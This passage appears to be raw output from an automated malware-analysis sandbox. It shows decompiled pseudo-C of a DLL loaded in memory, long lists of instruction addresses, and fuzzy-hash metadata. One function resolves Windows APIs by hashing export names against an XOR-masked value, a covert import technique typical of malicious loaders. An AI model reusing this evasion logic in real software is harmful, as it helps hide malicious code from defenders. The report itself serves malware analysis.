                                                                                                                                              											 *(_t399 + 0x18) = _t343;
                                                                                                                                              											_t260 =  *_t274;
                                                                                                                                              											_t274 =  &(_t274[2]);
                                                                                                                                              											 *(_t399 + 0x10) = _t260;
                                                                                                                                              										} else {
                                                                                                                                              											_t400 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000008;
                                                                                                                                              											 *(_t400 + 0x18) = _t343;
                                                                                                                                              											_t261 =  *_t274 & 0x0000ffff;
                                                                                                                                              											_t274 =  &(_t274[1]);
                                                                                                                                              											 *(_t400 + 0x10) = _t261;
                                                                                                                                              										}
                                                                                                                                              										goto L121;
                                                                                                                                              									}
                                                                                                                                              									if(( *_t427 & 0x00000008) == 0) {
                                                                                                                                              										goto L132;
                                                                                                                                              									}
                                                                                                                                              									_t295 = _t427[0x10];
                                                                                                                                              									_t343 = _t343 | 0x00000108;
                                                                                                                                              									 *(_t295 + 0x18) = _t343;
                                                                                                                                              									_t262 =  *_t274 & 0x0000ffff;
                                                                                                                                              									_t274 =  &(_t274[1]);
                                                                                                                                              									 *(_t295 + 0x10) = _t262;
                                                                                                                                              									goto L135;
                                                                                                                                              								}
                                                                                                                                              								L86:
                                                                                                                                              								_t343 = _t343 | 0x00011000;
                                                                                                                                              								 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              								goto L87;
                                                                                                                                              							}
                                                                                                                                              							if(_t250 != 0x8e) {
                                                                                                                                              								L66:
                                                                                                                                              								if(_t427[3] != 3) {
                                                                                                                                              									if(_t427[5] == 0) {
                                                                                                                                              										goto L87;
                                                                                                                                              									}
                                                                                                                                              									if(_t250 == 0xd7 || _t250 == 0xf7) {
                                                                                                                                              										L83:
                                                                                                                                              										if(( *_t427 & 0x00000009) != 0) {
                                                                                                                                              											goto L86;
                                                                                                                                              										}
                                                                                                                                              									} else {
                                                                                                                                              										if(_t250 == 0xd6) {
                                                                                                                                              											if(( *_t427 & 0x00000006) != 0) {
                                                                                                                                              												goto L86;
                                                                                                                                              											}
                                                                                                                                              											goto L87;
                                                                                                                                              										}
                                                                                                                                              										if(_t250 == 0xc5) {
                                                                                                                                              											goto L86;
                                                                                                                                              										}
                                                                                                                                              										if(_t250 == 0x50) {
                                                                                                                                              											goto L83;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									goto L87;
                                                                                                                                              								}
                                                                                                                                              								_t364 = _t427[4];
                                                                                                                                              								_t312 = _t364 + 0x1da;
                                                                                                                                              								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
                                                                                                                                              								_t313 =  !=  ? _t427[9] + _t364 : _t312;
                                                                                                                                              								_t427[4] = _t366;
                                                                                                                                              								if(_t366 == _t313) {
                                                                                                                                              									goto L87;
                                                                                                                                              								} else {
                                                                                                                                              									goto L68;
                                                                                                                                              								}
                                                                                                                                              								while(1) {
                                                                                                                                              									L68:
                                                                                                                                              									_t408 = _t427[4];
                                                                                                                                              									if(_t250 ==  *_t408) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									_t411 = _t408 + 3;
                                                                                                                                              									_t427[4] = _t411;
                                                                                                                                              									if(_t411 != _t313) {
                                                                                                                                              										continue;
                                                                                                                                              									}
                                                                                                                                              									goto L87;
                                                                                                                                              								}
                                                                                                                                              								_t314 = _t408;
                                                                                                                                              								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
                                                                                                                                              									goto L87;
                                                                                                                                              								}
                                                                                                                                              								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
                                                                                                                                              									goto L86;
                                                                                                                                              								}
                                                                                                                                              								goto L87;
                                                                                                                                              							}
                                                                                                                                              							if(_t427[2] == 1) {
                                                                                                                                              								goto L86;
                                                                                                                                              							}
                                                                                                                                              							goto L85;
                                                                                                                                              						}
                                                                                                                                              						if(_t250 == 0x20 || _t250 == 0x22) {
                                                                                                                                              							_t316 = 3;
                                                                                                                                              							_t427[3] = _t316;
                                                                                                                                              							if(_t427[2] > 4 || _t427[2] == 1) {
                                                                                                                                              								goto L86;
                                                                                                                                              							} else {
                                                                                                                                              								goto L87;
                                                                                                                                              							}
                                                                                                                                              						} else {
                                                                                                                                              							if(_t250 == 0x21 || _t250 == 0x23) {
                                                                                                                                              								_t319 = 3;
                                                                                                                                              								_t427[3] = _t319;
                                                                                                                                              								if((_t427[6] & 0xfffffff0) == 0x20) {
                                                                                                                                              									goto L86;
                                                                                                                                              								}
                                                                                                                                              								goto L87;
                                                                                                                                              							} else {
                                                                                                                                              								goto L66;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					if(_t427[3] == 3) {
                                                                                                                                              						L51:
                                                                                                                                              						_t343 = _t343 | 0x00009000;
                                                                                                                                              						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              						goto L52;
                                                                                                                                              					}
                                                                                                                                              					_t412 = _t427[4];
                                                                                                                                              					_t321 = _t250;
                                                                                                                                              					_t427[8] = _t412 + 0x1b9;
                                                                                                                                              					if(_t427[5] == 0) {
                                                                                                                                              						_t413 = _t412 + 0x1a1;
                                                                                                                                              						_t321 = _t250 & 0x000000fe;
                                                                                                                                              					} else {
                                                                                                                                              						_t413 = _t427[8];
                                                                                                                                              						_t427[8] = _t412 + 0x1cb;
                                                                                                                                              					}
                                                                                                                                              					while(_t413 != _t427[8]) {
                                                                                                                                              						if(_t321 ==  *_t413) {
                                                                                                                                              							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
                                                                                                                                              								goto L52;
                                                                                                                                              							}
                                                                                                                                              							goto L51;
                                                                                                                                              						}
                                                                                                                                              						_t413 = _t413 + 2;
                                                                                                                                              					}
                                                                                                                                              					goto L51;
                                                                                                                                              				}
                                                                                                                                              			}






































































                                                                                                                                              0x6e769377
                                                                                                                                              0x6e76937b
                                                                                                                                              0x6e769387
                                                                                                                                              0x6e76938b
                                                                                                                                              0x6e76938f
                                                                                                                                              0x6e769394
                                                                                                                                              0x6e769397
                                                                                                                                              0x6e769399
                                                                                                                                              0x6e76939b
                                                                                                                                              0x6e76939b
                                                                                                                                              0x6e76939e
                                                                                                                                              0x6e7693a4
                                                                                                                                              0x6e76941c
                                                                                                                                              0x6e769420
                                                                                                                                              0x6e769423
                                                                                                                                              0x6e769423
                                                                                                                                              0x6e769426
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769426
                                                                                                                                              0x6e7693ab
                                                                                                                                              0x6e769413
                                                                                                                                              0x6e769417
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769417
                                                                                                                                              0x6e7693b2
                                                                                                                                              0x6e76940b
                                                                                                                                              0x6e76940e
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76940e
                                                                                                                                              0x6e7693b7
                                                                                                                                              0x6e7693f5
                                                                                                                                              0x6e7693fc
                                                                                                                                              0x6e7693ff
                                                                                                                                              0x6e7693c8
                                                                                                                                              0x6e7693c8
                                                                                                                                              0x6e7693ce
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7693d3
                                                                                                                                              0x6e7693ed
                                                                                                                                              0x6e7693f0
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7693f0
                                                                                                                                              0x6e7693d8
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7693da
                                                                                                                                              0x6e7693de
                                                                                                                                              0x6e7693e1
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7693e1
                                                                                                                                              0x6e7693d8
                                                                                                                                              0x6e769429
                                                                                                                                              0x6e769429
                                                                                                                                              0x6e769429
                                                                                                                                              0x6e769432
                                                                                                                                              0x6e76943b
                                                                                                                                              0x6e76943e
                                                                                                                                              0x6e769441
                                                                                                                                              0x6e769444
                                                                                                                                              0x6e769447
                                                                                                                                              0x6e76944d
                                                                                                                                              0x6e76948f
                                                                                                                                              0x6e769492
                                                                                                                                              0x6e769493
                                                                                                                                              0x6e76949a
                                                                                                                                              0x6e76949d
                                                                                                                                              0x6e76944f
                                                                                                                                              0x6e769453
                                                                                                                                              0x6e76945d
                                                                                                                                              0x6e769464
                                                                                                                                              0x6e769466
                                                                                                                                              0x6e76947f
                                                                                                                                              0x6e769482
                                                                                                                                              0x6e769482
                                                                                                                                              0x6e769464
                                                                                                                                              0x6e7694a5
                                                                                                                                              0x6e7694a8
                                                                                                                                              0x6e7694ab
                                                                                                                                              0x6e7694af
                                                                                                                                              0x6e7694b3
                                                                                                                                              0x6e7694bd
                                                                                                                                              0x6e7694c1
                                                                                                                                              0x6e7694cb
                                                                                                                                              0x6e7694d4
                                                                                                                                              0x6e7694e1
                                                                                                                                              0x6e7694e4
                                                                                                                                              0x6e7694e7
                                                                                                                                              0x6e7694e7
                                                                                                                                              0x6e7694f3
                                                                                                                                              0x6e7694fe
                                                                                                                                              0x6e769504
                                                                                                                                              0x6e769508
                                                                                                                                              0x6e7694f5
                                                                                                                                              0x6e7694f5
                                                                                                                                              0x6e7694f5
                                                                                                                                              0x6e769510
                                                                                                                                              0x6e76953a
                                                                                                                                              0x6e769540
                                                                                                                                              0x6e769540
                                                                                                                                              0x6e769548
                                                                                                                                              0x6e7698f1
                                                                                                                                              0x6e7698f7
                                                                                                                                              0x6e7698fd
                                                                                                                                              0x6e7698fd
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76954e
                                                                                                                                              0x6e76954e
                                                                                                                                              0x6e769552
                                                                                                                                              0x6e769555
                                                                                                                                              0x6e769558
                                                                                                                                              0x6e76955b
                                                                                                                                              0x6e76955f
                                                                                                                                              0x6e769561
                                                                                                                                              0x6e769564
                                                                                                                                              0x6e769567
                                                                                                                                              0x6e76956b
                                                                                                                                              0x6e769570
                                                                                                                                              0x6e769573
                                                                                                                                              0x6e769577
                                                                                                                                              0x6e76957c
                                                                                                                                              0x6e76957f
                                                                                                                                              0x6e769581
                                                                                                                                              0x6e769584
                                                                                                                                              0x6e769588
                                                                                                                                              0x6e76958d
                                                                                                                                              0x6e76959d
                                                                                                                                              0x6e7695a3
                                                                                                                                              0x6e7695a3
                                                                                                                                              0x6e7695ab
                                                                                                                                              0x6e7695ad
                                                                                                                                              0x6e7695b6
                                                                                                                                              0x6e7695b8
                                                                                                                                              0x6e7695bb
                                                                                                                                              0x6e7695c6
                                                                                                                                              0x6e7695f3
                                                                                                                                              0x6e7695c8
                                                                                                                                              0x6e7695df
                                                                                                                                              0x6e7695df
                                                                                                                                              0x6e7695fb
                                                                                                                                              0x6e769601
                                                                                                                                              0x6e769607
                                                                                                                                              0x6e769607
                                                                                                                                              0x6e7695fb
                                                                                                                                              0x6e7695b6
                                                                                                                                              0x6e76960e
                                                                                                                                              0x6e76967f
                                                                                                                                              0x6e769684
                                                                                                                                              0x6e7696dd
                                                                                                                                              0x6e76979f
                                                                                                                                              0x6e7697a4
                                                                                                                                              0x6e7697b3
                                                                                                                                              0x6e7697b9
                                                                                                                                              0x6e7697bd
                                                                                                                                              0x6e7697c6
                                                                                                                                              0x6e7697cd
                                                                                                                                              0x6e7697d6
                                                                                                                                              0x6e7697e4
                                                                                                                                              0x6e7697e7
                                                                                                                                              0x6e7697cf
                                                                                                                                              0x6e7697cf
                                                                                                                                              0x6e7697cf
                                                                                                                                              0x6e7697cd
                                                                                                                                              0x6e7697f0
                                                                                                                                              0x6e76981d
                                                                                                                                              0x6e769830
                                                                                                                                              0x6e769838
                                                                                                                                              0x6e76981f
                                                                                                                                              0x6e769821
                                                                                                                                              0x6e769829
                                                                                                                                              0x6e769829
                                                                                                                                              0x6e7697f2
                                                                                                                                              0x6e7697f7
                                                                                                                                              0x6e769816
                                                                                                                                              0x6e7697f9
                                                                                                                                              0x6e7697fe
                                                                                                                                              0x6e76980f
                                                                                                                                              0x6e769800
                                                                                                                                              0x6e769800
                                                                                                                                              0x6e769800
                                                                                                                                              0x6e7697fe
                                                                                                                                              0x6e7697f7
                                                                                                                                              0x6e769840
                                                                                                                                              0x6e76984f
                                                                                                                                              0x6e76985c
                                                                                                                                              0x6e769865
                                                                                                                                              0x6e769869
                                                                                                                                              0x6e76986d
                                                                                                                                              0x6e769870
                                                                                                                                              0x6e769873
                                                                                                                                              0x6e769876
                                                                                                                                              0x6e769879
                                                                                                                                              0x6e76987c
                                                                                                                                              0x6e769882
                                                                                                                                              0x6e769886
                                                                                                                                              0x6e76988c
                                                                                                                                              0x6e76988c
                                                                                                                                              0x6e769882
                                                                                                                                              0x6e769892
                                                                                                                                              0x6e7698cf
                                                                                                                                              0x6e7698d3
                                                                                                                                              0x6e7698da
                                                                                                                                              0x6e7698e0
                                                                                                                                              0x6e769894
                                                                                                                                              0x6e769897
                                                                                                                                              0x6e7698b7
                                                                                                                                              0x6e7698bb
                                                                                                                                              0x6e7698c2
                                                                                                                                              0x6e7698c9
                                                                                                                                              0x6e769899
                                                                                                                                              0x6e76989c
                                                                                                                                              0x6e76989e
                                                                                                                                              0x6e7698a2
                                                                                                                                              0x6e7698ac
                                                                                                                                              0x6e7698b2
                                                                                                                                              0x6e7698b2
                                                                                                                                              0x6e76989c
                                                                                                                                              0x6e769897
                                                                                                                                              0x6e7698e7
                                                                                                                                              0x6e7698e7
                                                                                                                                              0x6e769900
                                                                                                                                              0x6e769900
                                                                                                                                              0x6e769906
                                                                                                                                              0x6e76990b
                                                                                                                                              0x6e769965
                                                                                                                                              0x6e76996a
                                                                                                                                              0x6e7699a9
                                                                                                                                              0x6e7699ae
                                                                                                                                              0x6e7699b0
                                                                                                                                              0x6e7699b4
                                                                                                                                              0x6e7699b7
                                                                                                                                              0x6e7699ba
                                                                                                                                              0x6e7699bc
                                                                                                                                              0x6e7699bd
                                                                                                                                              0x6e7699bd
                                                                                                                                              0x6e7699c2
                                                                                                                                              0x6e7699e0
                                                                                                                                              0x6e7699e2
                                                                                                                                              0x6e7699e6
                                                                                                                                              0x6e7699ec
                                                                                                                                              0x6e7699ef
                                                                                                                                              0x6e7699f1
                                                                                                                                              0x6e7699f2
                                                                                                                                              0x6e7699f2
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7699c4
                                                                                                                                              0x6e7699c4
                                                                                                                                              0x6e7699c4
                                                                                                                                              0x6e7699c8
                                                                                                                                              0x6e7699ce
                                                                                                                                              0x6e7699d1
                                                                                                                                              0x6e7699d3
                                                                                                                                              0x6e7699d6
                                                                                                                                              0x6e7699f5
                                                                                                                                              0x6e7699f5
                                                                                                                                              0x6e7699fc
                                                                                                                                              0x6e769a16
                                                                                                                                              0x6e7699fe
                                                                                                                                              0x6e7699fe
                                                                                                                                              0x6e769a0a
                                                                                                                                              0x6e769a0b
                                                                                                                                              0x6e769a0e
                                                                                                                                              0x6e769a0e
                                                                                                                                              0x6e769a24
                                                                                                                                              0x6e769a24
                                                                                                                                              0x6e7699c2
                                                                                                                                              0x6e76996f
                                                                                                                                              0x6e76997d
                                                                                                                                              0x6e769995
                                                                                                                                              0x6e769999
                                                                                                                                              0x6e76999c
                                                                                                                                              0x6e7699a2
                                                                                                                                              0x6e7699a6
                                                                                                                                              0x6e7699a6
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7699a6
                                                                                                                                              0x6e76997f
                                                                                                                                              0x6e769983
                                                                                                                                              0x6e769989
                                                                                                                                              0x6e769989
                                                                                                                                              0x6e76998f
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76998f
                                                                                                                                              0x6e769971
                                                                                                                                              0x6e769975
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769975
                                                                                                                                              0x6e76990f
                                                                                                                                              0x6e76993b
                                                                                                                                              0x6e769953
                                                                                                                                              0x6e769957
                                                                                                                                              0x6e76995a
                                                                                                                                              0x6e76995d
                                                                                                                                              0x6e76995f
                                                                                                                                              0x6e769962
                                                                                                                                              0x6e76993d
                                                                                                                                              0x6e76993d
                                                                                                                                              0x6e769941
                                                                                                                                              0x6e769944
                                                                                                                                              0x6e769947
                                                                                                                                              0x6e76994a
                                                                                                                                              0x6e76994d
                                                                                                                                              0x6e76994d
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76993b
                                                                                                                                              0x6e769915
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76991b
                                                                                                                                              0x6e76991f
                                                                                                                                              0x6e769925
                                                                                                                                              0x6e769928
                                                                                                                                              0x6e76992b
                                                                                                                                              0x6e76992e
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76992e
                                                                                                                                              0x6e7697a6
                                                                                                                                              0x6e7697aa
                                                                                                                                              0x6e7697b0
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7697b0
                                                                                                                                              0x6e7696e8
                                                                                                                                              0x6e7696fa
                                                                                                                                              0x6e7696ff
                                                                                                                                              0x6e76976a
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769771
                                                                                                                                              0x6e769797
                                                                                                                                              0x6e76979b
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76977a
                                                                                                                                              0x6e76977f
                                                                                                                                              0x6e769793
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769795
                                                                                                                                              0x6e769786
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76978b
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76978d
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769771
                                                                                                                                              0x6e769701
                                                                                                                                              0x6e76970b
                                                                                                                                              0x6e76971c
                                                                                                                                              0x6e76971f
                                                                                                                                              0x6e769722
                                                                                                                                              0x6e769728
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76972e
                                                                                                                                              0x6e76972e
                                                                                                                                              0x6e76972e
                                                                                                                                              0x6e769735
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769737
                                                                                                                                              0x6e76973a
                                                                                                                                              0x6e769740
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769742
                                                                                                                                              0x6e769744
                                                                                                                                              0x6e76974d
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769761
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769763
                                                                                                                                              0x6e7696ef
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7696f5
                                                                                                                                              0x6e769689
                                                                                                                                              0x6e7696b8
                                                                                                                                              0x6e7696b9
                                                                                                                                              0x6e7696c2
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7696d3
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7696d3
                                                                                                                                              0x6e769690
                                                                                                                                              0x6e769693
                                                                                                                                              0x6e7696a6
                                                                                                                                              0x6e7696a7
                                                                                                                                              0x6e7696ab
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769693
                                                                                                                                              0x6e769689
                                                                                                                                              0x6e769615
                                                                                                                                              0x6e769672
                                                                                                                                              0x6e769676
                                                                                                                                              0x6e76967c
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76967c
                                                                                                                                              0x6e769617
                                                                                                                                              0x6e76961b
                                                                                                                                              0x6e769628
                                                                                                                                              0x6e76962c
                                                                                                                                              0x6e769642
                                                                                                                                              0x6e76964a
                                                                                                                                              0x6e76962e
                                                                                                                                              0x6e769630
                                                                                                                                              0x6e76963a
                                                                                                                                              0x6e76963a
                                                                                                                                              0x6e769650
                                                                                                                                              0x6e769659
                                                                                                                                              0x6e769670
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769670
                                                                                                                                              0x6e76965b
                                                                                                                                              0x6e76965b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e769650

                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 0-3916222277
                                                                                                                                              • Opcode ID: 407fd4848e5b307e07d906eea16bb6147e298fc8bb87a15a6d3895badca8086c
                                                                                                                                              • Instruction ID: 557f9f7e29588e42b123672c6f73339f7dcaa47fc88b9a5f257f90868e7d9e7d
                                                                                                                                              • Opcode Fuzzy Hash: 407fd4848e5b307e07d906eea16bb6147e298fc8bb87a15a6d3895badca8086c
                                                                                                                                              • Instruction Fuzzy Hash: F522A030408396CFD755CF59C6A136ABBE0BFA6308F04886EECE54B2A5D3359945CF92
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 90%
                                                                                                                                              			E6E76143C(signed char __eax, signed char __edx) {
                                                                                                                                              				void* __ebx;
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				signed char _t231;
                                                                                                                                              				signed char _t233;
                                                                                                                                              				signed char _t238;
                                                                                                                                              				intOrPtr _t241;
                                                                                                                                              				void* _t246;
                                                                                                                                              				signed char _t257;
                                                                                                                                              				signed char _t261;
                                                                                                                                              				signed char _t269;
                                                                                                                                              				signed char _t270;
                                                                                                                                              				signed char _t277;
                                                                                                                                              				signed int _t279;
                                                                                                                                              				signed char _t280;
                                                                                                                                              				signed char _t281;
                                                                                                                                              				void* _t289;
                                                                                                                                              				void* _t290;
                                                                                                                                              				signed char _t315;
                                                                                                                                              				void* _t319;
                                                                                                                                              				signed char _t334;
                                                                                                                                              				signed char _t336;
                                                                                                                                              				void* _t341;
                                                                                                                                              				void* _t347;
                                                                                                                                              				intOrPtr _t352;
                                                                                                                                              				signed char _t354;
                                                                                                                                              				signed char _t363;
                                                                                                                                              				void* _t369;
                                                                                                                                              				intOrPtr _t371;
                                                                                                                                              				signed short* _t373;
                                                                                                                                              				void _t375;
                                                                                                                                              				void* _t379;
                                                                                                                                              				signed int _t381;
                                                                                                                                              				void* _t382;
                                                                                                                                              				void** _t383;
                                                                                                                                              				void* _t384;
                                                                                                                                              				char* _t387;
                                                                                                                                              				signed char _t395;
                                                                                                                                              				signed char* _t396;
                                                                                                                                              				intOrPtr _t400;
                                                                                                                                              				signed int _t451;
                                                                                                                                              				intOrPtr* _t455;
                                                                                                                                              				signed char _t456;
                                                                                                                                              				signed int _t462;
                                                                                                                                              				void* _t467;
                                                                                                                                              				signed char _t471;
                                                                                                                                              				signed char _t472;
                                                                                                                                              				signed char* _t477;
                                                                                                                                              				signed char _t487;
                                                                                                                                              				signed int _t490;
                                                                                                                                              				intOrPtr* _t496;
                                                                                                                                              				intOrPtr _t497;
                                                                                                                                              				signed char _t498;
                                                                                                                                              				signed char _t499;
                                                                                                                                              				intOrPtr _t500;
                                                                                                                                              				signed char _t508;
                                                                                                                                              				intOrPtr _t510;
                                                                                                                                              				void* _t513;
                                                                                                                                              				signed char _t519;
                                                                                                                                              				intOrPtr* _t524;
                                                                                                                                              				signed char _t525;
                                                                                                                                              				signed char _t526;
                                                                                                                                              				signed char _t527;
                                                                                                                                              				signed char _t529;
                                                                                                                                              				signed char* _t531;
                                                                                                                                              				signed char _t532;
                                                                                                                                              				void* _t533;
                                                                                                                                              				void* _t534;
                                                                                                                                              				signed char* _t535;
                                                                                                                                              
                                                                                                                                              				_t535[0x54] = __edx;
                                                                                                                                              				 *_t535 = __eax;
                                                                                                                                              				_t231 = E6E760304(__edx, 1);
                                                                                                                                              				if(_t231 != 0) {
                                                                                                                                              					return _t231;
                                                                                                                                              				}
                                                                                                                                              				_t535[0x2c] = _t231;
                                                                                                                                              				if( *0x6e76d208 == 0 ||  *0x6e76d2e4 != 0) {
                                                                                                                                              					L44:
                                                                                                                                              					if( *_t535 == 0) {
                                                                                                                                              						return 0;
                                                                                                                                              					}
                                                                                                                                              					_t233 =  *_t535;
                                                                                                                                              					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
                                                                                                                                              					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
                                                                                                                                              					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
                                                                                                                                              					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
                                                                                                                                              					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
                                                                                                                                              					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
                                                                                                                                              						L77:
                                                                                                                                              						 *_t535 = 0;
                                                                                                                                              						_t535[0x2c] = 0;
                                                                                                                                              						L78:
                                                                                                                                              						return  *_t535;
                                                                                                                                              					}
                                                                                                                                              					_t535[0x12c] = 0;
                                                                                                                                              					_t535[0x174] = _t535[0x54] ^ 0xe462d21c;
                                                                                                                                              					do {
                                                                                                                                              						_t467 = 0;
                                                                                                                                              						_t387 =  *_t524 +  *_t535;
                                                                                                                                              						_t238 =  *_t387;
                                                                                                                                              						_t535[0x58] = _t238;
                                                                                                                                              						if(_t238 == 0) {
                                                                                                                                              							L49:
                                                                                                                                              							if(E6E764FFC( &(_t535[0x58]), _t467) == _t535[0x174]) {
                                                                                                                                              								_t535[0x2c] = 0;
                                                                                                                                              								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
                                                                                                                                              								__eflags = _t241 - _t510;
                                                                                                                                              								if(_t241 < _t510) {
                                                                                                                                              									L57:
                                                                                                                                              									_t471 =  *_t535 + _t241;
                                                                                                                                              									__eflags = _t471;
                                                                                                                                              									 *_t535 = _t471;
                                                                                                                                              									_t535[0x2c] = _t471;
                                                                                                                                              									L58:
                                                                                                                                              									__eflags =  *_t535;
                                                                                                                                              									if( *_t535 == 0) {
                                                                                                                                              										goto L78;
                                                                                                                                              									}
                                                                                                                                              									__eflags =  *0x6e76d2f0 |  *0x6e76d2f1;
                                                                                                                                              									if(( *0x6e76d2f0 |  *0x6e76d2f1) == 0) {
                                                                                                                                              										_t525 =  *0x6e76d208; // 0x2411340
                                                                                                                                              										__eflags = _t525;
                                                                                                                                              										if(_t525 == 0) {
                                                                                                                                              											 *0x6e76d2f0 = 1;
                                                                                                                                              											_t526 = E6E76361C(0x1c4);
                                                                                                                                              											__eflags = _t526;
                                                                                                                                              											if(_t526 == 0) {
                                                                                                                                              												_t526 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              											} else {
                                                                                                                                              												E6E761C30(_t526, 0x10);
                                                                                                                                              												 *(_t526 + 0x1c0) = 0;
                                                                                                                                              											}
                                                                                                                                              											 *0x6e76d208 = _t526;
                                                                                                                                              											 *0x6e76d2f0 = 0;
                                                                                                                                              											L68:
                                                                                                                                              											_t246 = 0;
                                                                                                                                              											_t472 = 0;
                                                                                                                                              											__eflags = 0;
                                                                                                                                              											while(1) {
                                                                                                                                              												__eflags =  *(_t472 + _t526 + 8);
                                                                                                                                              												if( *(_t472 + _t526 + 8) == 0) {
                                                                                                                                              													break;
                                                                                                                                              												}
                                                                                                                                              												_t246 = _t246 + 1;
                                                                                                                                              												_t472 = _t472 + 0x1c;
                                                                                                                                              												__eflags = _t246 - 0x10;
                                                                                                                                              												if(_t246 < 0x10) {
                                                                                                                                              													continue;
                                                                                                                                              												}
                                                                                                                                              												_t375 = E6E76361C(0x1c4);
                                                                                                                                              												__eflags = _t375;
                                                                                                                                              												if(_t375 == 0) {
                                                                                                                                              													_t375 = 0;
                                                                                                                                              													__eflags = 0;
                                                                                                                                              												} else {
                                                                                                                                              													E6E761C30(_t375, 0x10);
                                                                                                                                              													 *(_t375 + 0x1c0) = 0;
                                                                                                                                              												}
                                                                                                                                              												 *(_t375 + 0x14) = _t535[0x2c];
                                                                                                                                              												E6E75DFC0(_t375,  &(_t535[0x58]));
                                                                                                                                              												 *(_t375 + 8) = _t535[0x54];
                                                                                                                                              												 *(_t526 + 0x1c0) = _t375;
                                                                                                                                              												L76:
                                                                                                                                              												 *_t535 = _t535[0x2c];
                                                                                                                                              												goto L78;
                                                                                                                                              											}
                                                                                                                                              											_t527 = _t526 + _t472;
                                                                                                                                              											__eflags = _t527;
                                                                                                                                              											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
                                                                                                                                              											E6E75DFC0(_t527,  &(_t535[0x58]));
                                                                                                                                              											 *(_t527 + 8) = _t535[0x54];
                                                                                                                                              											goto L76;
                                                                                                                                              										}
                                                                                                                                              										_t257 =  *(_t525 + 0x1c0);
                                                                                                                                              										while(1) {
                                                                                                                                              											__eflags = _t257;
                                                                                                                                              											if(_t257 == 0) {
                                                                                                                                              												goto L68;
                                                                                                                                              											}
                                                                                                                                              											_t526 = _t257;
                                                                                                                                              											_t257 =  *(_t257 + 0x1c0);
                                                                                                                                              										}
                                                                                                                                              										goto L68;
                                                                                                                                              									}
